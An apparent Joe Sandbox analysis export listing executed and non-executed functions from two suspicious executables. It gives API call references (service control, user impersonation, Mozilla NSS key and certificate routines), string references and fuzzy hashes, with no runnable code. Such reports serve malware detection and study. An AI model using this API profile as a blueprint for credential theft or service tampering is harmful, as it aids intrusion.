Source File: 00000000.00000003.2459804935.000000000113E000.00000004.00000020.00020000.00000000.sdmp, Offset: 0113E000, based on PE: false

Associated: 00000000.00000003.2458778298.0000000001171000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1125000_V65xPrgEHH.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ed05a653ddd84a716bdee8dc2e2ce0a7f087bf31e1808b581324bb5cdcf4b72
Instruction ID: 98b10e4f5f844777e972f689d952e197f8ab1aa095c312dae406dcf3b1f87df5
Opcode Fuzzy Hash: 6ed05a653ddd84a716bdee8dc2e2ce0a7f087bf31e1808b581324bb5cdcf4b72
Instruction Fuzzy Hash: 512104651092D58FD307CF78D594A82BFA1FF8B71A39E40DCC9C18F427C2A56542CB52

Analysis Process: KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.exePID: 1908, Parent PID: 7284COMMON

Execution Graph

Execution Coverage:	22.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	0

Executed Functions

Function 04BB0D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BB0DCD

Memory Dump Source

Source File: 00000009.00000002.2611279744.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4bb0000_KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 8414622311a6d12627a67f3d5a1f78d43c59db673c8d1ea908a0ecad0382696c
Instruction ID: c11a84a494c264cc7fcd0efe1b37312c5abddc70ec69cfb24217b1303688c02f
Opcode Fuzzy Hash: 8414622311a6d12627a67f3d5a1f78d43c59db673c8d1ea908a0ecad0382696c
Instruction Fuzzy Hash: 092134B6C012199FDB10DF99D884AEEFBB0EF88720F14815AD908AB244C774A541CFA4

Function 04BB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BB0DCD

Memory Dump Source

Source File: 00000009.00000002.2611279744.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4bb0000_KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 008642664a97d53c7571609560a460fb1ef05cdbff246fb92ac2944fd30fa325
Instruction ID: b3a9c3f51b72a7d568e07d89c211b8903816a7d904e66f99c8ba728bd5b1f4b9
Opcode Fuzzy Hash: 008642664a97d53c7571609560a460fb1ef05cdbff246fb92ac2944fd30fa325
Instruction Fuzzy Hash: C62113B6C012199FDB50DF99D884AEEFBF4EB88720F14825AD908AB244D774A540CBA4

Function 04BB1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BB1580

Memory Dump Source

Source File: 00000009.00000002.2611279744.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4bb0000_KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: dd3be712639cfab0d7427b2f790971df214ff9095683de28a44e4f92888f22e1
Instruction ID: a08c52b854aedd99c45b7f71c78e9eb5f81ff9044c67693ff08e8a6af94fbdcc
Opcode Fuzzy Hash: dd3be712639cfab0d7427b2f790971df214ff9095683de28a44e4f92888f22e1
Instruction Fuzzy Hash: 1A2114B2D003499FDB10CF9AD584BDEFBF4EB48360F10802AE559A7250D378A644CFA5

Function 04BB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BB1580

Memory Dump Source

Source File: 00000009.00000002.2611279744.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4bb0000_KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: bbe856696a25efefeb2d34e0e2b5de79eb18461721b8d2b0449277f966fbc93f
Instruction ID: 1cfd38f2d2eaa2ae8bda72de48d3dcc4aa8d2513850584f27e9a368271e2c0e1
Opcode Fuzzy Hash: bbe856696a25efefeb2d34e0e2b5de79eb18461721b8d2b0449277f966fbc93f
Instruction Fuzzy Hash: 6911E4B29003499FDB10CF9AC584BDEFBF4EB48360F10802AE559A7250D378A644CFA5

Function 04BB1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BB1367

Memory Dump Source

Source File: 00000009.00000002.2611279744.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4bb0000_KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: fad3aab81cbbbcac5069019912ef5c1d7e9da750e6e8350e75f7c91ac97749f1
Instruction ID: 8e7e3ac3c00e9cfeef41f6e9d6a32bae53d10e1c17f995869e2d920802c6bee2
Opcode Fuzzy Hash: fad3aab81cbbbcac5069019912ef5c1d7e9da750e6e8350e75f7c91ac97749f1
Instruction Fuzzy Hash: F71113B1800349CFDB10CF9AD485BEEBBF4EB48324F20846AD558A7250D778A944CBA5

Function 04BB1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BB1367

Memory Dump Source

Source File: 00000009.00000002.2611279744.0000000004BB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4bb0000_KR15TKHJ5M0U4GXHXUFUP5O6GGVNHNU.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 8218e4c54715eff2a37160f709c91ca76267e5a24ef06ec94633babf81cf2d1c
Instruction ID: 4ca90231d146e65368ddcffef721960ab91be2adc574fd5962e927daa0585eb8
Opcode Fuzzy Hash: 8218e4c54715eff2a37160f709c91ca76267e5a24ef06ec94633babf81cf2d1c
Instruction Fuzzy Hash: 291136B1800349CFDB10CF9AC444BEEFBF4EB48320F20845AD558A3250D778A544CFA5

Analysis Process: 5XYR1IZSU740RQ8S.exePID: 5588, Parent PID: 7284COMMON

Non-executed Functions

Function 6CAB3FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CAB3FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAB3FFE
malloc.MOZGLUE(-00000003), ref: 6CAB4016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CAEFC62), ref: 6CAB404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CAB407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CAB40A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CAB40D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB4112
malloc.MOZGLUE(00000000), ref: 6CAB411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CAB414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB4160
free.MOZGLUE(?), ref: 6CAB416C
malloc.MOZGLUE(?), ref: 6CAB41AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CAB41EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CAB4520), ref: 6CAB4244
GetEnvironmentStrings.KERNEL32 ref: 6CAB424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB4263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB4283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB42B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB42E4
malloc.MOZGLUE(00000002), ref: 6CAB42FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CAB4342
GetStdHandle.KERNEL32(000000F6), ref: 6CAB43AB
GetStdHandle.KERNEL32(000000F5), ref: 6CAB43B2
GetStdHandle.KERNEL32(000000F4), ref: 6CAB43B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CAB4403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CAB4410

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CAB445E
CloseHandle.KERNEL32(?), ref: 6CAB446B
free.MOZGLUE(?), ref: 6CAB4482
free.MOZGLUE(00000000), ref: 6CAB4492
free.MOZGLUE(00000000), ref: 6CAB44A4
GetLastError.KERNEL32 ref: 6CAB44B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CAB44BE
free.MOZGLUE(?), ref: 6CAB44C7
free.MOZGLUE(00000000), ref: 6CAB44D5
free.MOZGLUE(00000000), ref: 6CAB44EA

Strings

=, xrefs: 6CAB44F8
D, xrefs: 6CAB4396
NSPR_INHERIT_FDS=, xrefs: 6CAB41E9

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 84ff1766994b1f25c90b18818f6b9ec1e5ef9b416e169fa956fc68b8e04f5e44
Instruction ID: 73d703fcf15bb818d8f3d145a6bf90e2a692aa4c447de78789c9db3a92d9e891
Opcode Fuzzy Hash: 84ff1766994b1f25c90b18818f6b9ec1e5ef9b416e169fa956fc68b8e04f5e44
Instruction Fuzzy Hash: FB02F670E043559FEB10DF69D8447AEBBBCAF06308F284128DC69B7B42D771A895CB91

Function 6CA04840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C9E601B,?,00000000,?), ref: 6CA0486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6CA048A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6CA048BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6CA048DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6CA048F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6CA0490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6CA04919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6CA0493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04970
PORT_Alloc_Util.NSS3(00000001), ref: 6CA049A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CA049AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA049D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6CA049F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6CA04A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6CA04A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6CA04A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6CA04A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6CA04A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6CA04A81
free.MOZGLUE(00000000), ref: 6CA04AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CA04ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6CA04ADC
free.MOZGLUE(00000000), ref: 6CA04B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6CA04B33

Part of subcall function 6CA04120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA0413D
Part of subcall function 6CA04120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CA04162
Part of subcall function 6CA04120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA0416B
Part of subcall function 6CA04120: PL_strncasecmp.NSS3(6CA04232,?,00000001), ref: 6CA04187
Part of subcall function 6CA04120: NSSUTIL_ArgSkipParameter.NSS3(6CA04232), ref: 6CA041A0
Part of subcall function 6CA04120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA041B4
Part of subcall function 6CA04120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6CA041CC
Part of subcall function 6CA04120: NSSUTIL_ArgFetchValue.NSS3(6CA04232,?), ref: 6CA04203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6CA04B53
free.MOZGLUE(00000000), ref: 6CA04B94
free.MOZGLUE(?), ref: 6CA04BA7
free.MOZGLUE(00000000), ref: 6CA04BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA04BC8

Strings

rootFlags, xrefs: 6CA04AB9, 6CA04B2E
every, xrefs: 6CA04A66
askpw, xrefs: 6CA04A4A
hasRootTrust, xrefs: 6CA04B4D
slotFlags, xrefs: 6CA04A22
hasRootCerts, xrefs: 6CA04AD6
timeout, xrefs: 6CA04A38, 6CA04A7B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: cdc106910b0197e8aec4fda9c8250fde30f5a06f898c299105d5c511b644aea2
Instruction ID: b8598242bc0742633e2f690fb309eb75a328580fcf94740c19df133b670ba008
Opcode Fuzzy Hash: cdc106910b0197e8aec4fda9c8250fde30f5a06f898c299105d5c511b644aea2
Instruction Fuzzy Hash: BDC10970F052565FEB109FA9BD407AE7BB4BF1628CF180028EC55A7B01E735E998C7A1

Function 6C9C99C0 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 457stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C9A6D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(-000000F9), ref: 6C9C9A89
PORT_Alloc_Util.NSS3(68006A0F), ref: 6C9C9AA2
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C9C9AB9
memcpy.VCRUNTIME140(00000001,?,FFFFD003), ref: 6C9C9AD4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,81C189C6,?,?,?,6C9C9F85,81C189C6,00000000,00000000,?,6C9B3C7B), ref: 6C9C9B02
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9C9BC5

Part of subcall function 6C9BB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C9C1397,00000000,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1CB
Part of subcall function 6C9BB1A0: free.MOZGLUE(5B5F5EC0,?,6C9BCF93,5B5F5EC0,00000000,?,6C9C1397,?), ref: 6C9BB1D2

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9C9BDE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9C9C29
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9C9C38
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C9C9C49
free.MOZGLUE(00000000), ref: 6C9C9C5A
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9C9C9D
PK11_IsLoggedIn.NSS3(00000000,00000000), ref: 6C9C9CCE
free.MOZGLUE(00000000), ref: 6C9C9CFC

Part of subcall function 6C9C11C0: PR_NewLock.NSS3 ref: 6C9C1216

CERT_DestroyCertificate.NSS3(00000000), ref: 6C9C9D05
CERT_IsCACert.NSS3(00000000,?), ref: 6C9C9D17
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C9C9E53
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C9C9E65
TlsGetValue.KERNEL32 ref: 6C9C9E89
EnterCriticalSection.KERNEL32(6C9B3C7B), ref: 6C9C9E9D
PR_Unlock.NSS3 ref: 6C9C9EB5
free.MOZGLUE(81C189C6), ref: 6C9C9EC7
free.MOZGLUE(81C189C6), ref: 6C9C9ED7
PK11_DoesMechanism.NSS3(00000000,00001011), ref: 6C9C9EEF

Part of subcall function 6C9F1560: TlsGetValue.KERNEL32(00000000,?,6C9C0844,?), ref: 6C9F157A
Part of subcall function 6C9F1560: EnterCriticalSection.KERNEL32(?,?,?,6C9C0844,?), ref: 6C9F158F
Part of subcall function 6C9F1560: PR_Unlock.NSS3(?,?,?,?,6C9C0844,?), ref: 6C9F15B2

Strings

Cert, xrefs: 6C9C9B6B
ID , xrefs: 6C9C9B64

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$strlen$Alloc_CriticalDestroySectionUtilmemcpy$ArenaEnterErrorK11_PublicUnlockValue$CertCertificateDeleteDoesLockLoggedMechanism
String ID: ID $Cert
API String ID: 249077162-1549779482
Opcode ID: 0669abd729f898de293a42f7f759877de4b8682fd82db38c31a4bcba15bc5e3c
Instruction ID: b18ac35cc27e7efffd1ea637bc80b394bc339339b5ba40a8bfe901178eefe109
Opcode Fuzzy Hash: 0669abd729f898de293a42f7f759877de4b8682fd82db38c31a4bcba15bc5e3c
Instruction Fuzzy Hash: 4CF1F5B0F01605ABEB01DF68DC44BEA77B8AF2530CF154029E819A7B41E735D959CB93

Function 6CA07C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA07C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CA07C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA07D1E

Part of subcall function 6CA07870: SECOID_FindOID_Util.NSS3(?,?,?,6CA091C5), ref: 6CA0788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA07D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CA07D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA07DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA07DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA07DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA07E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CA07E58

Part of subcall function 6CA07870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA091C5), ref: 6CA078BB
Part of subcall function 6CA07870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CA091C5), ref: 6CA078FA
Part of subcall function 6CA07870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07930
Part of subcall function 6CA07870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA07951
Part of subcall function 6CA07870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA07964
Part of subcall function 6CA07870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CA0797A
Part of subcall function 6CA07870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CA07988
Part of subcall function 6CA07870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CA07998
Part of subcall function 6CA07870: free.MOZGLUE(00000000), ref: 6CA079A7
Part of subcall function 6CA07870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CA091C5), ref: 6CA079BB
Part of subcall function 6CA07870: PR_GetCurrentThread.NSS3(?,?,?,?,6CA091C5), ref: 6CA079CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA07E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA07F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CA07F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CA07FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA07FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CA08038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CA08050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CA08093
SECOID_FindOID_Util.NSS3 ref: 6CA07F29

Part of subcall function 6CA007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C9A8298,?,?,?,6C99FCE5,?), ref: 6CA007BF
Part of subcall function 6CA007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CA007E6
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA0081B
Part of subcall function 6CA007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CA00825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA08072
SECOID_FindOID_Util.NSS3 ref: 6CA080F5

Part of subcall function 6CA0BC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CA0800A,00000000,?,00000000,?), ref: 6CA0BC3F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 0d059ed93085beed4318613ca25d71aa4ec0b180720db5f6ac063723b2da937f
Instruction ID: 361c532dcaa1a2f38f15da3fcee3b9fb28a2f011fee3acd0efb8a0402a985578
Opcode Fuzzy Hash: 0d059ed93085beed4318613ca25d71aa4ec0b180720db5f6ac063723b2da937f
Instruction Fuzzy Hash: 39E16C717053009FD700CF28E980B5A77E5AF4438CF14496DE99ADBB51E732E899CB52

Function 6C9C79F0 Relevance: 30.5, APIs: 20, Instructions: 455COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CACAB28,000000FC), ref: 6C9C7A1E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C9C7A48

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ErrorValuememcpy
String ID:
API String ID: 3044119603-0
Opcode ID: 70868c9e0d928378cccf056949a2ad75dd4118ac3525a38d52685c1f295ffac8
Instruction ID: 56a201da415c26a27fa61f5601127d49244d805758c4fca8be3df4061cd244f6
Opcode Fuzzy Hash: 70868c9e0d928378cccf056949a2ad75dd4118ac3525a38d52685c1f295ffac8
Instruction Fuzzy Hash: 260283B1E002199BDB25CF54CC44BDAB7B8AF19308F0481E9E50DA7641E771DE99CF92

Function 6C991C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6C991C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6C991C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6C991CA1
GetLengthSid.ADVAPI32(?), ref: 6C991CA9
malloc.MOZGLUE(00000000), ref: 6C991CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C991CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6C991CE4
GetLengthSid.ADVAPI32(?), ref: 6C991CEC
malloc.MOZGLUE(00000000), ref: 6C991CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6C991D0F
CloseHandle.KERNEL32(?), ref: 6C991D17
